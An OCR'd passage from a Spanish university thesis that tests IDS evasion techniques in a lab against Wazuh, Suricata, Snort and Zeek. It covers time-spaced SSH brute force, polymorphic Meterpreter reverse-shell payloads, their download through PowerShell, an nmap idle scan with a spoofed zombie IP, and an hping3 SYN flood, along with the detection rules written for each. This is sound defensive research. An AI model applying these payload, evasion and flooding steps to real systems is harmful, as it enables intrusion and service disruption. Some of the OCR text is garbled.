concretd un lapso largo de tiempo (etiqueta “timeframe” de 30 segundos) teniendo en
cuenta el “ignore” de 90 segundos de la regla padre.

NIDS

En cuanto a los NIDS Suricata, Snort y Zeek, la deteccion de este tipo de ataques
también se basa en el uso del tiempo como parametro. Los dos primeros lo hacen
mediante una regla que identifica 5 conexiones TCP hacia el puerto 22 desde una misma
fuente, sin tener en cuenta si se trata de un acceso fallido o no.

/var/lib/suricata/rules
2001219 suricata.rules
alert tcp $EXTERNAL_NET any — $HOME_NET 22 (msg:"ET SCAN Potential SSH Scan”; flow:to_server; flags:

d: type both, track by_src, count 5, seconds 120; reference:url,en.wikipedia.org/wiki/Brute
:attempted-recon; sid: ; rev:20; metadata:created_at 2010_07_30, confidence Medium, s
ational, updated_at 2019_07_26;)

Llustracion 8.45: Regla de suricata de deteccion de ataques de fuerza bruta por SSH. Fuente: Elaboracion propia

Mientras tanto, Zeek utiliza eventos relacionados con el protocolo SSH para
identificar comportamientos sospechosos. A través de variables vistas en la Ilustracion
8.46, Zeek permite personalizar la 16gica de deteccion en funcion del nimero de intentos
fallidos, el tiempo en el que ocurren y las direcciones IP involucradas. [64]

Redefinable Options

The amount of time to remember presumed
SSH::guessing timeout © interval &redef non-successful logins to build a model of a

password guesser

This value can be used to exclude hosts or
ssH::ignore_guessers [ table  &redef entire networks from being tracked as

potential “guessers”.

The number of failed SSH connections before

55H: :password_guesses_limit ° double &redef
P £ = a host s designated as guessing passwords.

llustracion 8.46: Funciones relacionadas con la deteccion de fuerza bruta en Zeek Fuente: Elaboracion propia

Ejecucion de ataque de fuerza bruta

Con el objetivo de poner a prueba las reglas desarrolladas, se desarrolld un script
basico en Python (Véase anexo “12.15 Script de Ataque de fuerza bruta espaciada en

tiempo.”’) que ejecuta un ataque de fuerza bruta en dos variantes:

1. Ataque sin intervalo de espera entre intentos: los intentos se lanzan de forma
continua, simulando un ataque tradicional.

[ - Victima_Kali Acceso exitoso tras ataque de fuerza bruta a SSH 13 100051
| .. Victima_Kali Posible ataque de fuerza bruta a S5H g 100050
G May 5 157.7... Vietima_Kali sshd: authentication failed. 5 5760
[G  May 20,2025 @ 22:07:53.7... Victima_Kali sshd: authentication failed. 5 5760
[G  May 30,2025 @ 22:07:51.7.. Victima_Kali sshd: authentication failed. 5 5760

Tlustracion 8.47: Alertas del ataque de fuerza bruta no espaciado en el Dashboard de Wazuh Fuente: Elaboracion
propia

Tras la ejecucion del script, los IDS detectaron correctamente el ataque. En el caso
de Wazuh, se registraron cinco intentos de inicio de sesion: cuatro fallidos y uno
exitoso, conforme a la configuracion mostrada en la Ilustracion 8.44.
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2. Ataque espaciado en el tiempo: cada intento se realiza con un intervalo de 60
segundos entre uno y otro. Implicando que un IDS deberia hacer un seguimiento
durante al menos 3 minutos en caso de ser configurado para alertar tras 4 intentos
de autenticacion.

4860 hits
May 30, 2025 @ 06:23-19.370 - May 30, 2025 (@ 22-2318.370
& Export Formatted i@ 773 available fields & Columns [ Density ¢ 1fieldssorted [T Full screen
I timestamp - agent.name - rule.description ~ rulelevel ~  rule.id

May 2 .. Victima_Kali sshd: authentication success. 3 5715

... Victima_Kali sshd: authentication failed. 5 5760

ed.
... Victima_Kali sshd: authentication failed. 5 5760
33.3... Victima_Kali sshd: authentication failed. 5 5760
ed

Victima_Kali sshd: authentication failed. 5 5760

llustracion 8.48: Alertas del ataque de fierza bruta espaciado en tiempo en el Dashboard de Wazuh.
Fuente: Elaboracion propia
En cuanto al script de fuerza bruta espaciada en tiempo, se observa que no se
detecta ninguna correlacion entre sucesos, lo que desemboca en que no se
notifique de ninguna manera sobre el ataque, dindose la evasion de IDS.

Los resultados demuestran que el ataque continuo fue correctamente detectado y
reportado, mientras que el ataque espaciado evit6 la activacion de las alertas configuradas.
Evidenciando que una técnica tan simple como espaciar los intentos en el tiempo puede
evadir sistemas de deteccion basados en umbrales fijos de frecuencia.

De forma anéloga a la evasion temporal en escaneos de puertos, este experimento
revela una debilidad inherente en los sistemas que dependen Uinicamente de correlaciones
basadas en el tiempo. Aunque es posible ajustar los umbrales, cualquier limite puede
ser superado si el atacante conoce su valor y actia en consecuencia. Por ello, se
recomienda revisar y personalizar los valores por defecto de las reglas, ya que un
atacante informado sobre la infraestructura podria adaptarse para dificultar la deteccion.

Este escenario resalta la importancia de complementar la correlacion basada en
logs con analisis de comportamiento mas avanzados, asi como integrar multiples fuentes
de visibilidad (logs, red y endpoints), en linea con los principios de la triada de visibilidad
del SOC.

8.8 Ofuscacion polimorfica

El polimorfismo es una técnica utilizada en el desarrollo de malware o payloads
que permite modificar su estructura interna sin alterar su funcionalidad. Su principal
objetivo es evadir mecanismos de deteccion basados en firmas estaticas, como los
utilizados por muchos antivirus, Sistemas de Deteccion de Intrusiones o Sistemas de
Prevencion de Intrusiones (IPS).

Una técnica usualmente empleada de ofuscacion polimoérfica es el uso de
codificadores como “shikata _ga nai”, el cual se incluye en la herramienta Metasploit
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[65]. Dicho codificador cifra el payload malicioso y lo acompaiia de un decodificador
autorreconstruible que se modifica en cada ejecucion, haciendo que cada instancia
del codigo generado sea tnica [66].

Para analizar el funcionamiento de esta técnica, se muestra en la Ilustracion 8.49
la generacion de cuatro payloads:

- Dos sin ningun tipo de codificador.
- Dos utilizando el codificador “shikata ga nai”.

/home/kali

windows/meterpreter/reverse_tcp LHOST=10.0.4.5 LPORT=4444 -f raw normall.bin
-p windows/meterpreter/reverse_tcp LHOST=10.0.4.5

LPORT=4444 -f raw -o normal2.bin

-p windows/meterpreter/reverse_tcp LHOST=10.0.4.5 LPORT=4444 x86/shikata_ga_nai -i 3 raw -o polil.bin
windows/meterpreter/reverse_tcp LHOST=10.0.4.5 LPORT=4444 x86/shikata_ga_nai -i 3 v poli2.bin

Hlustracion 8.49: Creacion de payloads para mostrar el funcionamiento del polimorfismo. Fuente: Elaboracion
propia
Para facilitar la comparacion binaria entre los payloads, se utiliz6 el argumento -f
raw, el cual genera una salida binaria sin encabezados ni formatos adicionales,
permitiendo una evaluacion directa del contenido del payload.

Posteriormente, se convirtieron los archivos generados a formato hexadecimal
utilizando el comando “xxd”, y se realizaron las comparaciones correspondientes, que se
reflejaran en las siguientes ilustraciones.

Comparacion de payload sin polimorfismo

/home/kali
i1ff -u normali.hex normal2.hex
— normall.hex 2025-05-21 19:32:39.870513034 -0400
++ normal2.hex 2025-05-21 19:32:39.874515034 -0400

00000010: 520c 8b52 148b 7228 Gfb% 4526 31f% 31c0
00000020: ac3c 617c 022c 20cl cfOd 01c7 4975 ef52
00000030: 8b52 1057 8b42 3c01 d@8b 4078 85cO 744c

00000060: €075 £403 7df8 3b7d 2475 €058 8b58 2401 .u..}.;}$u.X.X$.
00000070: d366 8bOc 4b8b 581c 01d3 8b04 8b01 089 .f .K.X.........
00000080: 4424 245b 5b61 595a 51ff 058 5f5a 8b12 D$$[[aYZQ..X Z.

Hustracion 8.50: Comparacion de los payloads sin polimorfismo. Fuente: Elaboracion propia

El resultado mostrado en la Ilustracion 8.50, presenta muy pocas diferencias, ya
que ambos payloads sin codificacidon son practicamente idénticos en su estructura binaria,
lo que los hace facilmente detectables mediante firmas.
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Comparacion de un payload estandar, frente a uno polimorfico.

/home/kali
i normall.hex polil.hex
— normall.hex 2025-05-21 19:32:39.870513034 -0400
+++ polil.hex 2025-05-21 19:32:39.878517034 -0400

Hlustracion 8.51: Comparacion de un payload sin polimorfismo, con otro con dicha técnica. Fuente: Elaboracion
propia
Por otro lado, existe una notable diferencia entre el cddigo del payload
polimoérfico frente a uno estandar. Esto se debe a cémo el polimorfismo modifica el

codigo sin alterar la funcionalidad original, dificultando la deteccion por patrones
estaticos.

Comparacion de dos payloads polimorficos.

/home/kali

i polil.hex poli2.hex
— polil.hex 2025-05-21 19:32:39.878517034 -0400
+++ poli2.hex 2025-05-21 19:32:39.882519035 -0400

llustracion 8.52: Comparacion de los dos payloads con polimorfismo. Fuente: Elaboracion propia

A pesar de tener el mismo contenido funcional, ambos archivos polimoérficos son
visiblemente distintos debido a la naturaleza dinamica del codificador, lo que dificulta su
deteccion mediante mecanismos basados en patrones repetitivos.
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8.8.1 Ejecucion

Para poner en practica esta técnica, los payloads fueron convertidos en
ejecutables .exe siguiendo el mismo proceso mostrado en la Ilustracion 8.46. La entrega
del binario a la maquina victima puede realizarse mediante diversos métodos, siendo
uno de ellos el uso del comando “Invoke-WebRequest” de PowerShell para descargar el
archivo desde un servidor HTTP desplegado con Python, como se muestra en la
[lustracion 8.53.

/home/kali
http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.0.4.10 - - [22/May/2025 12:03:44] "GET /poli2.exe HTTP/1.1" 200 -
=T

0.4.5/poli2. exe -OutFile shell.exe

Actualizadon... shell_polimo... shell_normal....  shell.exe

Llustracion 8.53: Descarga de los ejecutables malicisos mediante PowerShell y servidor Python. Fuente: Elaboracion
propia

Una vez se encuentra el malware en la victima, se puede utilizar el médulo
“multi/handler” de Metasploit para crear un canal de comunicaciéon con el binario
ejecutado de forma remota. [67]

> exploit

Exploit running as background job @.
Exploit completed, but no session

Hustracion 8.54: Uso del exploit multi/handler de Metasploit para establecer sesiones de meterpreter. Fuente:
Elaboracion propia

Tras ejecutar el exploit, Metasploit se establece en modo escucha, esperando a que
se ejecute el binario malicioso para establecer una sesion de meterpreter.

B coicosons Processes | Services | Performance | Networking | Users

= [uservame | cPu | Memory (... | Desorpson [

SYSTEM 1836K Local Sess..
NETWO.. 00 2,830K Maosoft
SYSTEM 00 37,380K mysqgd.exe
vagrant Windows
SYSTEM K Servkesa..
. vagrant 00 2,716K ApacheSe
vagrant 43 172,136 K ApacheBe..
vaarant (] 2664K AoacheBe.

Tlustracion 8.55: Sesiones de meterpreter establecidas, y administrador de tareas de Windows mostrando la ejecucion
del ejecutable normal y el polimérfico. Fuente: Elaboraciéon propia
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8.8.2 Suricata y Snort

Al ejecutar o enviar el codigo, Suricata no activa ninguna alerta, ya que no tiene
una regla acerca de la firma de esta Shell. Para mostrar la deteccion del Shell normal, sera
necesario encontrar su firma y crear una regla entorno a ella. Para ello, se busc6 un patron
que siempre se repita en el codigo hexadecimal del flujo TCP al enviar el malware. Este
patron se ve facilmente en la Ilustracion 8.50, donde los primeros bytes de la segunda
linea no cambian entre ambos ejecutables.

Wireshark - Follow TCP Stream (tcp.stream eq 0) - eth0

000017 7A €9 ch ee b 5f
9900178A 90 31 co 90 e9
9900179A

9000179E 09 64 ff 30 64
0RO017AE 26 d9 do f4 36
990017BE e9 f5 db 07 66
990017CE ff fc e &f 00
990017DE 8b
0RO017EE c@ ac ac 61 7c
0R0017FE 52 8b 52 10 57
9900180E 4c 01 de 8b 48
9900181E 49 8b 34 8b 31
§REO182E 38 e0 75 f4 03

TR pkt, 52NN pkts, 1 turn.

Entire conversation (74 kB) Show as Hex Dump No delta times

Find: 52 0c 8b52 Case sensitivg

Filter Out This Stream Print Save as... Back X Close

llustracion 8.56: Contenido Hexadecimal del ejecutable enviado visto desde Wireshark. Fuente: Elaboracion propia

Tras crear 5 instancias del programa malicioso, se identificaron varios patrones
que se mantienen en todos los ejecutables. Uno de ellos fue la cadena “52 Oc 8b 527, con
lo que se determind que es una buena métrica para crear una regla:

”.
>

alert tcp any any -> any any ( msg:"Possible Meterpreter reverse_tcp shellcode"; content:"|52 Oc 8b 52
sid:1000004; rev:1; )

Ademas, es importante tener en cuenta que se podria aumentar el tamafio de la
cadena del contenido, o afiadir condiciones como “content:"|fc €8 8f 00|"; content:"|52
Oc 8b 52|"; distance: 10; within:20;”, que puede utilizarse si se detectan falsos positivos
a costa de aumentar la posibilidad de falsos negativos si el patron no ocurre en todas las
instancias. En la fase de pruebas, cada vez que se envia una Shell sin codificador, se
activa la alerta creada. No obstante, en el caso de las variantes polimorficas, las
reglas mediante firmas no son eficaces debido a la inexistencia de un patron.

Aunque ambos IDS son incapaces de identificar la firma del binario polimérfico
(implicando que la evasion polimorfica tuvo éxito), si cuentan con firmas capaces de
detectar la sesion de Meterpreter que se establece tras su ejecucion. En otras palabras,
aunque el sistema no logra identificar la entrega del malware, ni identificar su funcion, si
es capaz de alertar sobre la sesidn remota que se genera al ejecutarse, proporcionando un
nivel de visibilidad parcial frente a la amenaza.
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8.8.3 Zeek

Por otro lado, Zeek destaca por su enfoque de deteccion basado en
comportamiento. Este enfoque permite identificar amenazas incluso cuando el contenido
del trafico estd ofuscado o varia entre ejecuciones, como ocurre con los payloads
polimorficos.

En este caso particular, Zeek no se ve afectado por técnicas de evasion como la
codificacion polimérfica, ya que su andlisis no depende de patrones estaticos, sino de
caracteristicas del comportamiento de la conexion. Uno de los indicadores mas
representativos en este tipo de ataques es la duracion inusualmente prolongada de una
conexion TCP, el puerto también puede ser un indicador sospechoso (como el 4444/tcp),
aunque no se usdé como parametro, ya que en ataques reales se suelen usar puertos
alternativos.

Para ilustrar esta capacidad, se desarroll6 un script personalizado (véase el anexo
“12.14 Script de Zeek para deteccion de shell reverse”) que analiza las conexiones y
genera una entrada en el archivo “notice.log” cuando se detecta una reverse shell. La

[lustracion 8.57 muestra el resultado de dicha deteccion, donde se registra una conexion
entre los hosts 10.0.4.10 (origen) y 10.0.4.5 (destino), en el puerto 4444/tcp, con una
duracién de mas de 50 segundos.

root@zeek: fop log
"t 6

Little Traffic","msq":"Only observed @ TCP ACKs and was expecting at least 1.","act
ss_for":

":3600.0}

1lustracion 8.57: Deteccion de script personalizado respecto a shell reverse en Zeek. Fuente: Elaboracion propia

8.9 Suplantacion de IP

La suplantacion de IP consiste en falsificar la direccion IP de origen de un paquete
para hacer que parezca provenir de otro sistema. Esta técnica puede realizarse con
herramientas como hping3, permitiendo modificar manualmente los campos de los
encabezados IP, tal como se muestra en la Ilustracion 8.58.

/home/kali
8.8.8.8 -1 10.0.4.4
PING 10.0.4.4 (eth® 10.0.4.4): icmp mode set, 28 headers + 0 data bytes
e
— 10.0.4.4 hping statistic —

packets transmitted, @ packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

Destination  Protoc Length Info
ICMP 60 Echo (ping) request id=6x6ebb, seq=0/0, ttl1=64 (reply in 2)
ICMP 60 Echo (ping) reply i1d=ex6ebb, seq: 0, ttl=64 (request in 1)

31.8.8.8.8 10.0.4.4 ICMP 60 Echo (ping) request 1id=6x6ebb, seq=256/1, ttl=64 (reply in 4)
41.10.0.4.4 8.8.8.8 ICMP 60 Echo (ping) reply id=ex6ebb, seq=256/1, ttl=64 (request in 3)
52. 8.8.8.8 10.0.4.4 IcMP 60 Echo (ping) request id=6x6ebb, seq=512/2, ttl=64 (reply in 6)
62.10.0.4.4 8.8.8.8 ICMP 60 Echo (ping) reply id=ex6ebb, seq=512/2, ttl=64 (request in 5)
73.8.8.8.8 10.0.4.4 ICMP 60 Echo (ping) request id=0x6ebb, seq=768/3, ttl=64 (reply in 8)
83.10.0.4.4 8.8.8.8 ICMP 60 Echo (pina) renlv id=ex6ebb. sea=768/3. ttl=64 (reauest in 7)

Ilustracion 8.58: Ejecucion de suplantacion IP, y muestra del flujo de paquetes con IP origen falsa en Wireshark.
Fuente: Elaboracion propia

82



n Universidad de

Las Palmas de .
Gran Canaria Capitulo 8

Ejecuciony Deteccién de Técnicas de Evasion.

Técnicamente es sencillo falsificar una IP de origen, aunque esta accion conlleva
una limitacion importante: la respuesta del sistema victima serd enviada a la IP falsificada,
no al atacante, lo que impide la recepcion directa de respuestas y reduce el potencial de
explotacién de esta técnica por si sola. Sin embargo, cuando se combina con otros
métodos, la suplantacion de IP puede ser altamente efectiva para evadir detecciones o
llevar a cabo ataques pasivos.

8.9.1 IDLE scan

Una aplicacion avanzada de la suplantacion de IP es la técnica Idle Scan,
implementada en Nmap. Esta técnica permite escanear puertos de un sistema objetivo sin
enviar paquetes directamente desde la maquina atacante, ocultando asi su identidad.

El funcionamiento se basa en el uso de un host intermediario (llamado zombie)
con un identificador de IP (IP ID) predecible. Nmap envia paquetes falsificados al
objetivo, usando como direccion IP de origen la del zombie. Luego, analiza los
cambios en el campo IP ID del zombie para inferir si el objetivo respondio al
paquete. [68]

Técnica de Idlescan De Nmap (simplificada)
http://www.insecure.org

Observacion de IPID

Paguete con SYN|ACK
Atacante Respuesta; [PID=31337 Zombie
Paguete con RST

Pedido de Sesion "desde" Z Pedido de Sesion "desde" Z
SYN al puerto 80; dir. de origen: Z A SYN al puerto 42; dir. de origen: Z
2058 Rt o CF

. geuovo ﬂ\P‘CY-

Sesion Falsa: IFID=31338
RST

Observacién de IPID Observacion de IPID
SYNIACK SYNIACK
A Resp IF]ID 31329 A Respuesta; IPID=31338 Z
RST

Hustracion 8.59: Explicacion Simplificada de la técnica Idlescan de nmap. Fuente: nmap.org [68]

Este método permite realizar un escaneo de puertos completamente encubierto, ya
que el objetivo nunca ve la direccion IP real del atacante.

Ejecucion
La ejecucion de la técnica es muy simple al utilizar el comando “nmap” de la manera
vista en la [lustracion 8.60, donde se aplican los siguientes pardmetros:

e -Pn: desactiva la deteccion de host para evitar que Nmap envie paquetes I[CMP.
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e -sl:indica el uso de la técnica Idle Scan, seguido de la direccion IP del zombie, en
este caso “8.8.8.8”.

/home/kali

F I 8.8.8.8 10.0.4.4

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 09:01 EDT
Idle scan using zombie 8.8.8.8 (8.8.8.8:80); Class: Incremental
Nmap scan report for 10.0.4.4
Host is up (0.079s latency).
Not shown: 977 closed|filtered tcp ports (no-ipid-change)

STATE SERVICE

open ftp

open ssh

open telnet

open smtp

open domain

open http

open rpcbind

open netbios-ssn

open microsoft-ds

open exec

open login

open shell

open rmiregistry

open ingreslock

open nfs

open ccproxy-ftp

open mysql

open postgresql

open vnc

open X11

open irc

open ajpl3

open unknown

llustracion 8.60: Ejecucion idle scan de nmap. Fuente: Elaboracion propia

Suricata y Snort

Suricata, al analizar los paquetes generados mediante suplantacion de IP,
interpreta la direccion IP falsificada como el verdadero origen del trafico. Esto puede
observarse en las alertas generadas:

: Attempted

: Attempted
Attempted

A
A
A
A
A
A
A
A
A
A
A

A P A A AR A A

Attempted

llustracion 8.61: Alertas de Suricata con origen identificado como 8.8.8.8, evidenciando que la IP real del atacante
no fue registrada. Fuente: Elaboracion propia.
Este comportamiento resulta util para evitar reglas que se activan con direcciones
IP especificas o listas negras. De hecho, son comunes las reglas que se activan al
comunicarse con direcciones [P sospechosas, como es el caso de la regla de la [lustracion
8.62, en la que se desencadena una alerta al enviar paquetes hacia la IP “1.2.3.4”.

suricata.rules
3.4 any (msg: & Qutgoing connection te an IP add

reference: url,https://malpedia.caad.fkie.fraunhofer.

llustracion 8.62: Regla por direccion IP maliciosa. Fuente: Elaboracion propia
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Zeek

En cuanto a Zeek, la deteccion se basé en el mismo script utilizado para el escaneo
de puertos basado en tiempo adaptado para registrar patrones de escaneo cuando multiples
solicitudes son enviadas hacia un mismo destino, generando en “notice.log” registros
similares a los de la Ilustracion 8.42, con la diferencia de que ahora Zeek no registra la
direccion IP real desde la que se origino el escaneo, sino una falsa.

{"ts":1748437293.976714, "note": "PORT_SCAN: :PortScanDete mgm
: 10.0.4.10 received from 8.8.8.8, 50 suspicious TCP attempts” ":"10.0.4.10","action
":["Notice::ACTION_LOG"],"email_dest":[],"suppress_for":3600.0}
"ts":1748437294.988391, "note" : "PORT_SCAN: :PortScanDetected”,"msg":"
s _ ) q
: 10.0.4.10 received from 8.8.8.8, 50 suspicious TCP attempts","dst":"10.0.4.10","action
":["Notice::ACTION_LOG"],"email dest":[],"suppress_for":3600.0}
{"ts":1748437296.002933, "note" : "PORT_SCAN: :PortScanDetected","msg":"

: 10.0.4.10 received from 8.8.8.8, 50 suspicious TCP attempts","dst":"10.0.4.10","action
":["Notice::ACTION_LOG"],"email_dest":[],"suppress_for":3600.0}
{"ts":1748437297.045075, "note" : "PORT_SCAN: : PortScanDetected","msg":"
: 10.0.4.10 received from 8.8.8.8, 50 suspicious TCP attempts","dst":"10.0.4.10","action
":["Notice::ACTION_LOG"],"email_dest":[],"suppress_for":3600.0}
{"ts":1748437299.77716, " note" : "PORT_SCAN: : PortScanDetected”,"msg":"
: 10.0.4.10 received from 8.8.8.8, 50 suspicious TCP attempts","dst":"10.08.4.10","actions
":["Notice::ACTION_LOG"],"emaill_dest":[],"suppress_for":3600.0}

Llustracion 8.63: Logs generados tras detectar un potencial escaneo de puertos en Zeek. Fuente: Elaboracion propia

Para la deteccion de escaneos de puertos, se suele usar como pardmetro los
paquetes enviados a la misma IP destino, sin tener en cuenta el origen. Este enfoque fue
disefniado especificamente para abordar el problema de la suplantacion de IP. Una practica
erronea, seria crear reglas que alerten cuando una tUnica direccion IP realiza multiples
conexiones hacia un host, asumiendo que esta repeticion es indicativa de un escaneo.

Aunque esta logica puede reducir el contador de puertos escaneados al ignorar el
trafico legitimo disperso entre los clientes, no es efectiva cuando se utiliza suplantacion
IP, ya que el atacante puede distribuir las solicitudes con diferentes direcciones
falsificadas, evitando ser detectado.

8.9.2 Denegacion de servicio

Si bien la respuesta activa no es el enfoque principal de este laboratorio, el
proposito fundamental de implantar un sistema de deteccion de intrusiones (IDS) es
identificar comportamientos o acciones maliciosas para permitir una respuesta adecuada.
Esta respuesta puede llevarse a cabo desde el propio IDS, si cuenta con capacidades de
prevencion (IPS), o bien desde sistemas externos encargados de mitigar la amenaza.

En el contexto de un ataque de denegacion de servicio (DoS), el objetivo del
atacante es agotar los recursos del sistema victima mediante el envio masivo de trafico
malicioso o innecesario. Para evadir mecanismos de deteccion o filtrado, el atacante rara
vez utilizara su propia IP, y es poco probable que emplee una unica direccion de origen.
En ataques mas avanzados, pueden utilizarse botnets distribuidas, aunque también existen
herramientas como hping3, que permiten suplantar direcciones IP mediante el parametro
--rand-source, generando trafico con IPs de origen aleatorias.
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/home/kali

320 =8 64 -p 21 10.0.4.4

HPING 10.0.4.4 (eth® 10.0.4.4): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown

1lustracion 8.64: Envio masivo de paquetes con carga util elevada desde diferentes direcciones IP para tratar de
Hacer un ataque de Denegacion de Servicio. Fuente: Elaboracion propia

Para detectar ataques de esta indole, se pueden crear reglas en Suricata o Snort
para detectar ataques de tipo SYN flood incluyendo parametros especificos que permiten
identificar patrones andmalos en el trafico. El modificador “flags:S,12” permite detectar
paquetes con la bandera SYN activa, caracteristica propia del inicio de conexiones TCP.
Por su parte, la directiva threshold define cuando se debe activar la alerta, y se deberia de
modificar en funcion del trafico legitimo estandar: en este caso, si se detectan mas de
5000 paquetes SYN en un intervalo de 5 segundos hacia un mismo destino (track by _dst),
se genera una notificacion. [69]

Aunque le regla estd orientado exclusivamente al monitoreo pasivo y no aplica
acciones de bloqueo, la mayoria de IDS modernos suelen tener caracteristicas IPS, que
permiten activar reglas de tipo drop para detener conexiones maliciosas en tiempo real,
ademas de utilizar herramientas externas para gestionar el trafico.

apj@ubuntu: /etc/suricata/rules

File Edit View Search Terminal Help
Blert tcp $EXTERNAL_NET -> SHOME_NET (msg:
; flow: ; flags: S,12; threshold:

. . ; classtype: ty; sid:5;)
alert tcp SHOME_NET -> SEXTERNAL_NET (msg:

1 ; flow: ; flags: S5,12; threshold:

L ; classtype: ; sid:6;

lustracion 8.65: Reglas para alertar acerca de ataques de denegacion de servicio. (Fuente: github.com/arvindpj007

[69])

Durante la simulacion del ataque de denegacién de servicio (DoS) mediante
hping3, se envid un alto volumen de paquetes SYN con cargas utiles y direcciones IP de
origen aleatorias. El objetivo era agotar los recursos del sistema victima sin depender de
una Unica direccion IP, simulando un comportamiento similar al de una botnet distribuida.

Suricata

top - 17:15:59 up 4@ min, 2 users, load average: 11.57, 4.71, 2.26
: 182 total, 1 running, 181 sleeping, @ stopped, 0 zombie
: 41.9 us, 7.8 sy, 0.2 ni, 0.3 id, 0.0 wa, 0.0 hi, 49.8 si, 0.0 st
7947.9 total, 130.7 free, 5994.2 used, 2128.3 buff/cache
MiB Swap: 1024.0 total, 1023.7 free, 0.3 used. 1953.8 avail Mem

%CPU  %MEM TIME+ COMMAND

: ksoftirqd/1
Suricata-Main
wazuh-logcollec
wazuh-agentd
Xorg

root 2 0 0 0
root 1559940 1.1g 15780
root 1330316 41696 35784
wazuh 250088 10964 6224 S
root 356928 106920 56068 S
logstash 7131224 3.4g 32016 S
2 kali 222152 44192 18468 S
6 root 0 0 0
kibana 21.6g 462704 52632 S
6 kali 573644 56028 S
root [} (']
kali 215932 3272

=}

SEVE!

wrapper-2.0
kworker/u9:1-flush-8:0
node

gterminal

kswapd@

VBoxClient

NSO UmWKEUVN

SR=IN

Ilustracion 8.66: Uso de Recursos tras el ataque de denegacion de servicio en la maquina de Suricata. Fuente:
Elaboracion propia
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El efecto del ataque se evidencié de forma clara en la maquina que ejecuta Suricata
sobre Kali Linux. El proceso principal (Suricata-Main) alcanzé un uso de CPU del 87.4%
y un consumo de memoria del 14.7%, indicando una sobrecarga considerable durante la
fase de andlisis del trafico. Paralelamente, el proceso del kernel “ksoftirqd/1”, responsable
de manejar las interrupciones de red a nivel de software, registré un uso de CPU del
46.2%, lo que refleja una alta demanda en la gestion del volumen de paquetes recibidos.
[70]

Es importante sefalar que, en sistemas Linux, el porcentaje de uso de CPU puede
superar el 100% cuando se trata de sistemas multinucleo, ya que este valor representa el
uso relativo por nucleo. Por ejemplo, en un sistema con dos ntcleos, el uso maximo
posible es del 200%.

Suricata esta disefiado para operar eficientemente en arquitecturas multihilo,
distribuyendo tareas entre distintos nucleos del procesador. Sin embargo, en este entorno
de laboratorio se emple6 una maquina con unicamente dos nucleos légicos, lo que limita
la capacidad de paralelizacion y amplifica el impacto del ataque en el rendimiento del
sistema. Esta limitacion puede provocar pérdida de paquetes, latencia en el analisis o
incluso fallos temporales en la deteccion.

Snort

root@SnortUbuntu: /home/snort Q

root@SnortUbuntu: /homefsnort

root@SnortUbuntu: fhome/snort

- 20:55:25 up 7 min, 1 user, load average: 2.54, 1.51, 0.75
: 173 total, 3 running, 170 sleeping, 0 stopped, 0 zombie
: 11.8 us, 3.9 sy, 0.8 ni, 0.4 id, 0.0 wa, 0.0 hi, 83.9 si, 0.0 st
7938.3 total, 3821.3 free, 3416.0 used, 701.0 buff/cache
2048.0 total, 2048.0 free, 9.0 used. 4278.3 avail Mem

root
root
snor
root
snor
root
root
root
root
root
6 root
8 root
root
root
root
root
root
root

2891824

o

t 261288
(]

t 815132
168112

0

0000000 0QQ

2.69
e
74380
e
51020
11384
o

CN-N-NoNoN-NoN NN

C00QC000C00O00CO0OQ

TIME+

COMMAND
snort3
ksoftirqd/e
Xorg

8 kworker/e:1-eve+

gnome-terminal-
systemd

kthreadd

rcu_gp
rcu_par_gp
slub_flushwg
netns

kworker /0:0H-ev+

6 kworker/u2:0-ev+

Mm_percpu_wq
rcu_tasks_rude_
rcu_tasks_trace

8 rcu_sched

migration/0

Mlustracion 8.67: Uso de Recursos tras el ataque de denegacion de servicio en la maquina de Snort. Fuente:
Elaboracion propia

En la maquina con Snort sobre Ubuntu, la situacion es mas critica. El proceso

snort3 consumi6 un 49.7% de CPU y 34.1% de memoria RAM, mientras que

ksoftirqd/0 consumi6 un 47.7% de CPU, lo que deja al sistema con muy poco margen

operativo. El analisis muestra un nucleo practicamente saturado, aunque el IDS contintia

funcionando y detectando trafico malicioso de forma efectiva.

Este comportamiento se explica en parte porque Snort sigue basdndose

principalmente en una arquitectura monohilo, especialmente en el analisis de trafico en
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tiempo real. Esto hace que toda la carga recaiga sobre un solo nucleo, lo que limita su
escalabilidad frente a ataques de alto volumen.

Zeek

root@zeek: /home/snort

xs: 181 total, 4 running, 177 sleeping, 0 stopped, 0 zombie
: 34.4 us, 9.6 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 56.0 si, 0.0 st
7938.3 total, 4238.5 free, 2259.9 used, 1440.0 buff/cache
2048.0 total, 2048.0 free, 0.0 used. 5385.4 Mem

COMMAND
zeek
ksoftir+
wazuh-a+
wazuh-1+
kworker+
Xorg

top
systemd
kthreadd
rcu_gp
rcu_par+
slub_f1+
netns
kworker+
kworker+
kworker+
mm_perc+

root 2352116 1.5g9 154664
root <] <] 0
wazuh 249440 9836 6344
root 552264 18012 14432
root c] [¢] 0
snort 253692 69112 44700
root 11856 3720
root 168384 11608
root c] (]
root
root
root
6 root
root
root
root
root

(LTI L

[l o e o]

o000

(=<l i]
HHEMHKMHHKMHKHHWMWM T WA
(=<l lciclolclcl- o]
o000 UWWWOOLVWOD
(=<l - ool
OO0 0000, OVENKEOV
(=< o<l iciclollclol-Jololocopyi-]

Llustracion 8.68: Uso de Recursos tras el ataque de denegacion de servicio en la maquina de Zeek. Fuente:
Elaboracion propia
En el caso de Zeek, también ejecutado sobre Ubuntu, el proceso principal uso un
51.8% de CPU y un 19.9% de memoria. A esto se suman 20.3% de CPU utilizados por
ksoftirqd y 27.9% por el agente de Wazuh, que en ese momento estaba enviando logs al
servidor. Esto demuestra como las cargas combinadas de analisis y monitoreo impactan
el rendimiento del sistema bajo ataque.

Zeek cuenta con una arquitectura modular centrada en el analisis por eventos y
scripting, lo que le da gran flexibilidad, pero no est4 especialmente optimizado para
entornos de tiempo real o uso intensivo de CPU en un tnico nodo. Al igual que los otros
sistemas, su rendimiento puede mejorar considerablemente en entornos distribuidos o
con mas recursos de hardware.

Conclusiones

Este andlisis revela que un ataque de denegacion de servicio no necesariamente
bloquea los IDS, pero reduce su capacidad operativa al elevar el uso de recursos hasta
niveles criticos, especialmente en lo que respecta al procesamiento de interrupciones de
red (ksoftirqd). La combinacion de cargas de analisis (IDS), gestion de red (kernel) y
monitoreo (como el agente Wazuh) puede llevar al sistema a un punto de saturacion,
afectando la visibilidad y el tiempo de respuesta frente a otras amenazas.

